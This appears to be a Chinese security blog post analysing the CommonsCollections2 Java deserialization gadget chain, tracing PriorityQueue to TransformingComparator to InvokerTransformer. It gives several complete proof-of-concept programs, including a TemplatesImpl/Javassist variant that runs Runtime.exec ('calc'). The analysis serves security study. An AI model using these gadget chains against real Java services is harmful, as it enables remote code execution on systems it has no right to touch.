1. 程式人生 > 實用技巧 >CommonsCollections2 反序列化利用鏈分析

CommonsCollections2 反序列化利用鏈分析

在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作為反序列化的入口

那麼就來看一下 java.util.PriorityQueue.javareadObject方法

PriorityQueue#readObject

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

heapify() 這裡進行排序

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        //呼叫了 siftDown 方法
        siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

//comparator 不為空 進入到 siftDownUsingComparator 
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

這裡我們重點看下 siftDownUsingComparator 中的comparator.compare((E) c, (E) queue[right])

這裡呼叫了 compare,ctrl+右鍵 點進去

發現commons-collections4-4.0-sources.jar!/org/apache/commons/collections4/comparators/TransformingComparator.java 實現了此方法。

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

來到了 熟悉的 transformer.transform,那麼如果這裡 this.transformer 為 InvokerTransformer 物件即可來到

InvokerTransformer#transform 方法進行反射呼叫,與cc1類似。

public O transform(final Object input) {
    if (input == null) {
        return null;
    }
    try {
        final Class<?> cls = input.getClass();
        final Method method = cls.getMethod(iMethodName, iParamTypes);
        return (O) method.invoke(input, iArgs);
    } catch (final NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                   input.getClass() + "' does not exist");
    } catch (final IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                   input.getClass() + "' cannot be accessed");
    } catch (final InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                   input.getClass() + "' threw an exception", ex);
    }
}

思路

通過上面我們可以得出呼叫順序

PriorityQueue.readObject()

PriorityQueue.heapify()

PriorityQueue.siftDown()

PriorityQueue.siftDownUsingComparator()

TransformingComparator.compare()

InvokerTransformer.transformat()

想要一步步按照上面順序執行,需要滿足幾個條件

  • (size >>> 1) - 1 >=0 // 即 size>= 2

  • comparator != null // 這裡 comparator 可控,可由PriorityQueue 的構造方法傳入

生成序列化物件

通過上面的初步分析可以得出下面程式碼

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
        ),
        new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class },
                new Object[] {null, null }
        ),
        new InvokerTransformer(
                "exec",
                new Class[] {String.class },
                new Object[] { "calc.exe" }
        )
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template);

PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(1);
queue.add(2);


ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();

執行此程式碼發現雖然成功彈出計算器但是沒有生成序列化物件

定位到程式碼為 queue.add(2);處。

這裡呼叫了

public boolean add(E e) {
    return offer(e);
}

/**
 * Inserts the specified element into this priority queue.
 *
 * @return {@code true} (as specified by {@link Queue#offer})
 * @throws ClassCastException if the specified element cannot be
 *         compared with elements currently in this priority queue
 *         according to the priority queue's ordering
 * @throws NullPointerException if the specified element is null
 */
public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}
private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

private void siftUpComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>) x;
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (key.compareTo((E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = key;
}

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

當add 第二個元素時,會 進入siftUp(i, e); siftUpUsingComparator(k, x); 然後執行 comparator.compare(x, (E) e) 進入我們的反射鏈

然後當進入到 TransformingComparator#comparethis.decorated.compare(value1, value2)

由於 ProcessImpl 沒有實現Comparable而報錯,程式終止,就沒有執行後面生成序列化資料的程式碼。

繼續回過頭來看

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

既然

siftUpUsingComparator 程式會報錯。那麼是否可以讓他進入到 siftUpComparable,那麼就需要讓 comparator 為null

PriorityQueue queue = new PriorityQueue(2);

程式執行沒有出錯了,但是沒有彈出計算器。

如何讓add 不出錯,同時又彈出計算器呢? 這裡想到了反射,在add 2個元素結束之後,將 queue物件中的 comparator設定成 transformingComparator ,這裡就需要用到反射了。

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator);

最後得出 POC

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                    "getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                    "invoke",
                    new Class[] {Object.class,Object[].class },
                    new Object[] {null, null }
            ),
            new InvokerTransformer(
                    "exec",
                    new Class[] {String.class },
                    new Object[] { "calc.exe" }
            )
    };
    ChainedTransformer template = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(template);

    PriorityQueue queue = new PriorityQueue(2);
    queue.add(1);
    queue.add(2);

    Field comparator = queue.getClass().getDeclaredField("comparator");
    comparator.setAccessible(true);
    comparator.set(queue,transformingComparator);

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(queue);
    oos.close();
    System.out.println(barr.toString());
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    ois.readObject();

}

也可換種寫法,例如

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2_Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]  {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class,Object[].class },
                        new Object[] {null, null }
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class },
                        new Object[] { "calc.exe" }
                )
        };

        ChainedTransformer template = new ChainedTransformer(transformers);

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator =  new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        Field iParamTypes = transformer.getClass().getDeclaredField("iParamTypes");
        Field iArgs = transformer.getClass().getDeclaredField("iArgs");
        iMethodName.setAccessible(true);
        iParamTypes.setAccessible(true);
        iArgs.setAccessible(true);
        iMethodName.set(transformer,"transform");
        iParamTypes.set(transformer,new Class[]{Object.class});
        iArgs.set(transformer,new Object[]{null});

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{template,2});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

在 ysoserial框架中,commons-collections2 引入了 TemplatesImpl 類來進行承載攻擊payload

TemplatesImpl 存在一個 成員變數 _bytecodes,當呼叫 TemplatesImpl#newTransformer 方法時,將會把

_bytecodes 例項化, 所以我們可以將惡意程式碼寫到類的無參建構函式或static程式碼塊中轉換為位元組碼賦值給_bytecodes ,然後找到一個位置呼叫newTransformer就能完成整個攻擊。

這裡需要用到 Javassist ,javassist是Java的一個庫,可以修改位元組碼。

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.19.0-GA</version>
</dependency>

通過javassist 構建如下程式碼

package deserialized;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class CC2_Templates {
    public static void main(String[] args) throws Exception{
        template().newTransformer();
    }
    public static TemplatesImpl template() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        return templates;
    }

}

根據上面一節的分析,我們只需要將 ChainedTransformer template = new ChainedTransformer(transformers); 改為用javassist生成的物件,然後把iMethodName設定為newTransformer 就可完成整個攻擊鏈。

package deserialized;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class CC2_Templates {
    public static void main(String[] args) throws Exception{

        TemplatesImpl template = template();

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator =  new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{template,2});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
        
    }
    public static TemplatesImpl template() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        return templates;
    }

}

關於 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 裡面是如何執行到我們自定義的 _bytecodes

的具體流程可以參考:https://y4er.com/post/ysoserial-commonscollections-2/

參考

https://y4er.com/post/ysoserial-commonscollections-2/

https://y4er.com/post/javassist-learn/